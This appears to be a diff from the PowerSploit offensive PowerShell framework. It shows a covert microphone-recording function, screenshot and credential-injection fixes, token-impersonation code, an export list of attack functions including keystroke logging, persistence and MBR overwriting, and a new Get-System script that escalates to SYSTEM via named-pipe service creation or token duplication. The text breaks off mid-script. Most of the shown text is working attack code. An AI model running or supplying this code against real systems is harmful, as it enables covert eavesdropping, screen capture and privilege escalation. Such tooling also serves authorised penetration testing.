The location to save the audio
.PARAMETER Length
The length of the audio to record in seconds. Default: 30
.PARAMETER Alias
The alias to use for the WinMM recording. Default: Random 10 Chars
.EXAMPLE
Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
Description
-----------
Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
#>
[OutputType([System.IO.FileInfo])]
Param
(
[Parameter( Position = 0, Mandatory = $True)]
[ValidateScript({Split-Path $_ | Test-Path})]
[String] $Path,
[Parameter( Position = 1, Mandatory = $False)]
[Int] $Length = 30,
[Parameter( Position = 2, Mandatory = $False)]
[String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
)
#Get-DelegateType from PowerSploit
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Get-ProcAddress from PowerSploit
function local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
#Initialize and call LoadLibrary on our required DLL
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
$HND = $null
$HND = $LoadLibrary.Invoke('winmm.dll')
if ($HND -eq $null)
{
Throw 'Failed to aquire handle to winmm.dll'
}
#Initialize the function call to count devices
$waveInGetNumDevsAddr = $null
$waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
$waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
if ($waveInGetNumDevsAddr -eq $null)
{
Throw 'Failed to aquire address to WaveInGetNumDevs'
}
$waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
#Initilize the function call to record audio
$mciSendStringAddr = $null
$mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
$mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
if ($mciSendStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciSendStringA'
}
$mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
#Initialize the ability to resolve MCI Errors
$mciGetErrorStringAddr = $null
$mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
$mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
if ($mciGetErrorStringAddr -eq $null)
{
Throw 'Failed to aquire address to mciGetErrorString'
}
$mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
#Get device count
$DeviceCount = $waveInGetNumDevs.Invoke()
if ($DeviceCount -gt 0)
{
#Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
$errmsg = New-Object Text.StringBuilder 150
#Open an alias
$rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#Call recording function
$rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
Start-Sleep -s $Length
#save recorded audio to disk
$rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
#terminate alias
$rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
$OutFile = Get-ChildItem -path $path
Write-Output $OutFile
}
else
{
Throw 'Failed to enumerate any recording devices'
}
}

View File

@ -52,9 +52,25 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()

View File

@ -771,7 +771,7 @@ function Invoke-CredentialInjection
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

File diff suppressed because one or more lines are too long

View File

@ -572,7 +572,7 @@ $RemoteScriptBlock = {
$Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
$FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
$FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr])
$FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
$FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
$Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary

View File

@ -1686,20 +1686,33 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
#Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges.
#We need to enumrate all processes running as SYSTEM and find one that we can use.
[string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount}
$SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$_
}
}
}
ForEach ($SystemToken in $SystemTokens)
{
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
$SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue
if ($SystemTokenInfo) { break }
}
if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken)))
{
Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"
}
if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero)
if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero)
{
$CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null
$systemTokenInfo = $null
$CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null
$SystemTokenInfo = $null
}
$ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0}

View File

@ -25,26 +25,29 @@ FunctionsToExport = @(
'Add-NetUser',
'Add-ObjectAcl',
'Add-Persistence',
'Add-ServiceDacl',
'Convert-NameToSid',
'Convert-NT4toCanonical',
'Convert-SidToName',
'Copy-ClonedFile',
'Find-AVSignature',
'Find-ComputerField',
'Find-DLLHijack',
'Find-ForeignGroup',
'Find-ForeignUser',
'Find-GPOComputerAdmin',
'Find-GPOLocation',
'Find-InterestingFile',
'Find-LocalAdminAccess',
'Find-PathHijack',
'Find-PathDLLHijack',
'Find-ProcessDLLHijack',
'Find-ManagedSecurityGroups',
'Find-UserField',
'Get-ADObject',
'Get-ApplicationHost',
'Get-CachedRDPConnection',
'Get-ComputerDetails',
'Get-ComputerProperty',
'Get-CurrentUserTokenGroupSid',
'Get-DFSshare',
'Get-DomainPolicy',
'Get-ExploitableSystem',
@ -52,6 +55,11 @@ FunctionsToExport = @(
'Get-HttpStatus',
'Get-Keystrokes',
'Get-LastLoggedOn',
'Get-ModifiablePath',
'Get-ModifiableRegistryAutoRun',
'Get-ModifiableScheduledTaskFile',
'Get-ModifiableService',
'Get-ModifiableServiceFile',
'Get-NetComputer',
'Get-NetDomain',
'Get-NetDomainController',
@ -78,21 +86,19 @@ FunctionsToExport = @(
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegAlwaysInstallElevated',
'Get-RegAutoLogon',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-SecurityPackages',
'Get-ServiceDetail',
'Get-ServiceFilePermission',
'Get-ServicePermission',
'Get-ServiceUnquoted',
'Get-SiteListPassword',
'Get-System',
'Get-TimedScreenshot',
'Get-UnattendedInstallFile',
'Get-UserEvent',
'Get-UserProperty',
'Get-VaultCredential',
'Get-VolumeShadowCopy',
'Get-VulnAutoRun',
'Get-VulnSchTask',
'Get-Webconfig',
'Install-ServiceBinary',
'Install-SSP',
@ -132,6 +138,8 @@ FunctionsToExport = @(
'Set-CriticalProcess',
'Set-MacAttribute',
'Set-MasterBootRecord',
'Set-ServiceBinPath',
'Test-ServiceDaclPermission',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'

592
Privesc/Get-System.ps1 Normal file
View File

@ -0,0 +1,592 @@
function Get-System {
<#
.SYNOPSIS
GetSystem functionality inspired by Meterpreter's getsystem.
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
token duplication works correctly.
PowerSploit Function: Get-System
Author: @harmj0y, @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Technique
The technique to use, 'NamedPipe' or 'Token'.
.PARAMETER ServiceName
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER PipeName
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER RevToSelf
Reverts the current thread privileges.
.PARAMETER WhoAmI
Switch. Display the credentials for the current PowerShell thread.
.EXAMPLE
PS> Get-System
Uses named impersonate to elevate the current thread token to SYSTEM.
.EXAMPLE
PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.
.EXAMPLE
PS> Get-System -Technique Token
Uses token duplication to elevate the current thread token to SYSTEM.
.EXAMPLE
PS> Get-System -WhoAmI
Displays the credentials for the current thread.
.EXAMPLE
PS> Get-System -RevToSelf
Reverts the current thread privileges.
.LINK
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
param(
[Parameter(ParameterSetName = "NamedPipe")]
[Parameter(ParameterSetName = "Token")]
[String]
[ValidateSet("NamedPipe", "Token")]
$Technique = 'NamedPipe',
[Parameter(ParameterSetName = "NamedPipe")]
[String]
$ServiceName = 'TestSVC',
[Parameter(ParameterSetName = "NamedPipe")]
[String]
$PipeName = 'TestSVC',
[Parameter(ParameterSetName = "RevToSelf")]
[Switch]
$RevToSelf,
[Parameter(ParameterSetName = "WhoAmI")]
[Switch]
$WhoAmI
)
$ErrorActionPreference = "Stop"
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# performs named pipe impersonation to elevate to SYSTEM without needing
# SeDebugPrivilege
function Local:Get-SystemNamedPipe {
param(
[String]
$ServiceName = "TestSVC",
[String]
$PipeName = "TestSVC"
)
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
Add-Type -Assembly System.Core
# create the named pipe used for impersonation and set appropriate permissions
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
# Declare/setup all the needed API function
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
# Step 1 - OpenSCManager()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
Write-Verbose "Opening service manager"
$ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
Write-Verbose "Service manager handle: $ManagerHandle"
# if we get a non-zero handle back, everything was successful
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
# Step 2 - CreateService()
# 0xF003F = SC_MANAGER_ALL_ACCESS
# 0x10 = SERVICE_WIN32_OWN_PROCESS
# 0x3 = SERVICE_DEMAND_START
# 0x1 = SERVICE_ERROR_NORMAL
Write-Verbose "Creating new service: '$ServiceName'"
try {
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
$err = $GetLastError.Invoke()
}
catch {
Write-Warning "Error creating service : $_"
$ServiceHandle = 0
}
Write-Verbose "CreateServiceA Handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
$Success = $True
Write-Verbose "Service successfully created"
# Step 3 - CloseServiceHandle() for the service handle
Write-Verbose "Closing service handle"
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
# Step 4 - OpenService()
Write-Verbose "Opening the service '$ServiceName'"
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
Write-Verbose "OpenServiceA handle: $ServiceHandle"
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
# Step 5 - StartService()
Write-Verbose "Starting the service"
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
$err = $GetLastError.Invoke()
# if we successfully started the service, let it breathe and then delete it
if ($val -ne 0){
Write-Verbose "Service successfully started"
# breathe for a second
Start-Sleep -s 1
}
else{
if ($err -eq 1053){
Write-Verbose "Command didn't respond to start"
}
else{
Write-Warning "StartService failed, LastError: $err"
}
# breathe for a second
Start-Sleep -s 1
}
# start cleanup
# Step 6 - DeleteService()
Write-Verbose "Deleting the service '$ServiceName'"
$val = $DeleteService.invoke($ServiceHandle)
$err = $GetLastError.Invoke()
if ($val -eq 0){
Write-Warning "DeleteService failed, LastError: $err"
}
else{
Write-Verbose "Service successfully deleted"
}
# Step 7 - CloseServiceHandle() for the service handle
Write-Verbose "Closing the service handle"
$val = $CloseServiceHandle.Invoke($ServiceHandle)
Write-Verbose "Service handle closed off"
}
else {
Write-Warning "[!] OpenServiceA failed, LastError: $err"
}
}
else {
Write-Warning "[!] CreateService failed, LastError: $err"
}
# final cleanup - close off the manager handle
Write-Verbose "Closing the manager handle"
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
}
else {
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
Write-Warning "[!] OpenSCManager failed, LastError: $err"
}
if($Success) {
Write-Verbose "Waiting for pipe connection"
$Pipe.WaitForConnection()
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
Write-Verbose "ImpersonateNamedPipeClient: $Out"
}
# clocse off the named pipe
$Pipe.Dispose()
}
# performs token duplication to elevate to SYSTEM
# needs SeDebugPrivilege
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
Function Local:Get-SystemToken {
[CmdletBinding()] param()
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LuidStruct = $LuidTypeBuilder.CreateType()
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
$PrivilegesField.SetCustomAttribute($AttribBuilder)
$TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'advapi32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
'kernel32.dll',
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
@([Bool] $True)
)
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcess',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[IntPtr],
@([UInt32], [Bool], [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'CloseHandle',
'kernel32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
